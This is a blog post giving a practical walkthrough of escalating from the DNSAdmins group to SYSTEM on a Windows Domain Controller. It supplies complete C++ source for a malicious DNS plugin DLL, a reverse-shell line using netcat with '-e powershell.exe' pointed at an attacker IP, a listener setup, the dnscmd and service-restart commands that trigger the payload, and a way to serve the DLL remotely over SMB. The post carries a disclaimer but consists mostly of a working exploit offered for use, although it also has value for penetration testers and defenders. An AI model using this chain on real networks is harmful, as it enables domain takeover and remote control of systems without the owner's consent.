DNSAdmin to Domain Controller Compromise
by Sabe Barker
Posted on 9 January 2020

In this post I will explain how a user within the DNSAdmins group can accomplish Domain Controller takeover. We will cover how to create our custom DLL payload for the exploit and how to successfully execute it.
This issue was first published by Shay Ber back in 2017. I recently had to use this “feature” for privilege escalation and during that process I found that the part where we need to execute the DLL
can be troublesome to say the least. This seems to be due to the fact that the DNS
service crashes and needs to be restarted. However, this can be more than temperamental.
I will point out that this post in no way is meant to add anything new to the process of the compromise but more of a notebook of how to create a working DLL
and how to get the bloody thing to actually execute successfully. I found that when researching this issue many people I spoke to had attempted to create a custom working DLL
but ended up resorting to creation with msfvenom
. Me being me I wasn’t happy to stop there as the msfvenom
created DLL
cannot be used locally on the machine as Windows Defender will nuke it. So if for whatever reason you cannot access the DLL
remotely you wouldn’t be able to obtain that beautiful system shell we desire so much.
Now before we start I will just do the usual spiel: This post is for educational purposes and I take no responsibility for any misuse of the information provided herein. Under no circumstances should you perform these actions on a system without prior consent from the owner.
Enough with the banter let’s get our hands dirty!
First off we will download the Visual Studio 2019 Preview. I used the Professional version which you can get a “free” trial. Once downloaded go through the installation process and then open our program.
On the Get started
window select Create a new project
:
We are presented with the Create a new project
window where we will type DLL
in to the search bar and select Dynamic-Link Library with exports (DLL)
then click Next
:
Next we enter our Project Name
and click Create
:
We are presented with a template that includes two files one named dllmain.cpp
and the other DNSAdmin.cpp
:
In dllmain.cpp
we will edit to reflect the following code:
/// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
In DNSAdmin.cpp
we will also edit to reflect the following code:
// DNSADMIN.cpp : Defines the exported functions for the DLL.
#include "pch.h"
#include <stdlib.h>
#include "framework.h"
#include "DNSAdmin.h"
#define DNS_PLUGIN_API __declspec ( dllexport )
#pragma comment(linker,"/EXPORT:DnsPluginInitialize=?DnsPluginInitialize@@YAHPEAX0@Z")
DNS_PLUGIN_API int DnsPluginInitialize(PVOID a1, PVOID a2) {
system("C:\\Users\\<username>\\shell.cmd");
return 0;
}
#pragma comment(linker,"/EXPORT:DnsPluginCleanup=?DnsPluginCleanup@@YAHXZ")
DNS_PLUGIN_API int DnsPluginCleanup() { return 0; }
#pragma comment(linker,"/EXPORT:DnsPluginQuery=?DnsPluginQuery@@YAHPEAX000@Z")
DNS_PLUGIN_API int DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }
Ensure you change <username>
to the one that is on the victim
machine then save your changes. You will notice a reference to a file called shell.cmd
. This is where we will place our command to execute. In not hardcoding it to the DLL
we can freely change it if need be.
An explanation of what is going on here can be found at Shay’s post that was mentioned earlier.
Now it’s time to build our DLL
.
From the top menu we will change debug
to release
and x32
to x64
or whichever the arch is for the victim
system:
We will then navigate to Build --> Build Solution
in the top menu or type Ctrl+Shift+B
to build our DLL
:
If we take a look in the output
section at the bottom of our window we should see that our build succeeded:
In this output we can also see that our build has been saved at the location C:\Users\<username>\source\repos\DNSAdmin\x64\Release\DNSADMIN.dll
.
Now lets create our cmd
file. Open up your favourite text editor and add the following line saving the file as shell.cmd
:
C:\Users\<username>\nc.exe <attacker-ip> 1234 -e powershell.exe
Replacing <attacker-ip>
with the attacker
machines IP address.
You will also need to download netcat
for windows which can be found here.
We should now have three files to work with: DNSADMIN.dll
, shell.cmd
and nc.exe
.
Now upload/download these files to the victim
machine in to the directory: C:\Users\<username>
.
Let’s setup our listener for the incoming connection on the attacker
machine:
nc -lvp 1234
We will then load the DLL
using the dnscmd
command on the victim
machine like so:
PS> dnscmd /config /serverlevelplugindll \\<servername>\C$\Users\<username>\DNSADMIN.dll
On success we should see the output:
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
Now we have to restart the DNS
service so our DLL
is executed.
To do so we first stop the service:
PS> sc.exe stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530
and then start it again:
PS> sc.exe start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 2756
FLAGS :
Back at your netcat
session we should see a connection and our prompt:
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
nt authority\system
We now have control of the Domain Controller
.
In the scenario where you need to host the DLL
remotely you can fireup impacket’s smbserver.py on the attacker
machine:
smbserver.py TMP /path/to/dll/
And then modify the dnscmd
command:
dnscmd /config /serverlevelplugindll \\<attacker-ip>\TMP\DNSADMIN.dll
If you find that you do not receive a connection you can run the following command to test the DLL
:
PS> rundll32.exe .\DNSAdmin.dll,DnsPluginInitialize
If you get a connection to your netcat
session then there is most likely some interference on the victim
machine (AV, Firewall etc.)